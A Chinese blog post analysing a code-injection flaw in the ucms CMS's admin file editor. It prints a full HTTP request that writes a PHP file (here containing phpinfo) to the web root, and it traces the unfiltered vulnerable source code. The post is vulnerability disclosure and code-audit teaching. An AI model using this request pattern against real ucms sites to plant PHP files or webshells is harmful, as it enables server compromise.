ucms系统存在代码注入漏洞的分析

  1. 漏洞复现
  2. 漏洞分析

原文在这里:天融信关于ucms系统存在代码注入漏洞的分析

其实这个漏洞就是后台文件管理的地方可以随意新建文件,而且没有任何的后缀名拦截、白名单验证、权限限制。

漏洞复现

后台–>文件管理–>随便找一个文件夹或者文件–>编辑–>保存
没啥好说的就不截图了,发送的包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /ucms/ucms/index.php?do=sadmin_fileedit&dir=/ucms/ucms/&file=123.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 71
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/ucms/ucms/index.php?do=sadmin_fileedit&dir=/ucms/ucms/&file=123.php
Accept-Language: zh-CN,zh;q=0.8
Cookie: admin_76efa6=admin; psw_76efa6=cf511c59650e77111ee74a048b60dffa; token_76efa6=614eae0e; UM_distinctid=16ac619051121e-0d22e60a265d32-10724c6f-1fa400-16ac619051393; CNZZDATA3801251=cnzz_eid%3D1624451277-1558101881-%26ntime%3D1558101881; name=123123; mail=1223123; url=http%3A%2F%2F12312; 23wi_2132_saltkey=hwfQF0VM; 23wi_2132_lastvisit=1563781678; AkJ7_2132_saltkey=RfJ96qio; AkJ7_2132_lastvisit=1563886642; Jxt1_2132_saltkey=CtIr0c5F; Jxt1_2132_lastvisit=1563886956; PHPSESSID=famkplqd5bhn61pe26j17is9l4; cscms_session=63adtrleis9tjm1dfv96n2g0lh4nqeic
Connection: close

uuu_token=614eae0e&co=<?php phpinfo();?>&pos=0

dir是目录,file是文件名,co是文件的内容。

然后访问 http://127.0.0.1/ucms/ucms/123.php

漏洞分析

其实这里也没啥好写的,写一下漏洞跟踪的流程吧~小伙伴们最好自己跟踪下代码哦~

首先这个漏洞是后台的一个漏洞,我们这里要看下后台的index.php文件,ucms/ucms/index.php

然后看下代码,首先是要看代码对 do 这个参数是如何进行处理的:
line41-54

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['do'])) {
$thisdo=explode('_',$_GET['do']);
}
?>
<?php require('top.php');?>
<?php
if(isset($_GET['do'])) {
if(!isset($thisdo[1])) {
$thisdo[1]='index';
}
check_admin_file($thisdo[0],$thisdo[1]);
require($thisdo[0].'/'.$thisdo[1].'.php');
}

看下流程,要是 do 这个参数是有值的话,就会将do参数的值用 下划线 进行分割,返回给 $thisdo 这个变量,返回类型是 数组

我们写个简单的脚本测试一下。

然后在代码的后面,会用 require 请求一个脚本

1
require($thisdo[0].'/'.$thisdo[1].'.php')

这里我们的 do=sadmin_fileedit,也就是请求 sadmin/fileedit.php 脚本

sadmin/fileedit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
if (!defined('admin')) {exit();}
if(power('alevel')!=3) {die('error');}
if(!AdminFileedit) {
adminmsg('','文件管理功能已关闭',0);
}
if(isset($_GET['dir'])) {
if(empty($_GET['dir'])) {
$_GET['dir']='/';
}
$getdir=$_GET['dir'];
if($_GET['dir']=='/') {
$dir=$_GET['dir'];
}else {
$dir=$_GET['dir'];
}
$alldir=$_SERVER['DOCUMENT_ROOT'].$_GET['dir'].'/';
if(stripos($_GET['dir'],'..')===false) {}else {die('error dir');}
}else {
die('no dir');
}
if(isset($_GET['file'])) {
$filename=$_GET['file'];
if(stripos($_GET['file'],'..')===false) {}else {die('error filename');}
if(!isedit($_GET['file'])) {
die('error');
}
}else {
die('no file');
}
if(isset($_POST['co'])) {
checktoken();
$content=$_POST['co'];
$fp = @fopen($alldir.$filename,"w");
if(!@fwrite($fp,$content) && strlen($content)<>0){
adminmsg('','写入失败,请修改文件权限',1);
exit;
}
fclose($fp);
$refererurl='?do=sadmin_fileedit&dir='.$_GET['dir'].'&file='.$_GET['file'].'&pos='.$_POST['pos'];
adminmsg($refererurl,'保存成功',1,'编辑页');
exit();
}
if(!is_file($alldir.$filename)) {
$content='';
}else {
$content=htmlspecialchars(file_get_contents($alldir.$filename));
}

这里会判断是否请求了 dir、file参数,并没有对参数进行过滤限制,最终传递给 $alldir $filename

1
2
3
4
5
6
if(isset($_GET['dir'])) {
......
}
if(isset($_GET['file'])) {
......
}

如果存在请求 co 参数,那么久会利用 @fopen这个参数打开 ,然后写入 co 中的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($_POST['co'])) {
checktoken();
$content=$_POST['co'];
$fp = @fopen($alldir.$filename,"w");
if(!@fwrite($fp,$content) && strlen($content)<>0){
adminmsg('','写入失败,请修改文件权限',1);
exit;
}
fclose($fp);
$refererurl='?do=sadmin_fileedit&dir='.$_GET['dir'].'&file='.$_GET['file'].'&pos='.$_POST['pos'];
adminmsg($refererurl,'保存成功',1,'编辑页');
exit();
}

你会发现整个过程没有对我们输入的变量进行任何的操作限制(白名单验证、权限限制、重命名啥的)

这个漏洞好像官方还没有给补丁 ==,并且这个cms版本在17年就没有更新了,可以继续看下审计一波~


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 sher10cksec@foxmail.com

文章标题:ucms系统存在代码注入漏洞的分析

本文作者:sher10ck

发布时间:2019-08-01, 18:06:16

最后更新:2020-01-13, 13:05:11

原始链接:http://sherlocz.github.io/2019/08/01/ucms系统存在代码注入漏洞的分析/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录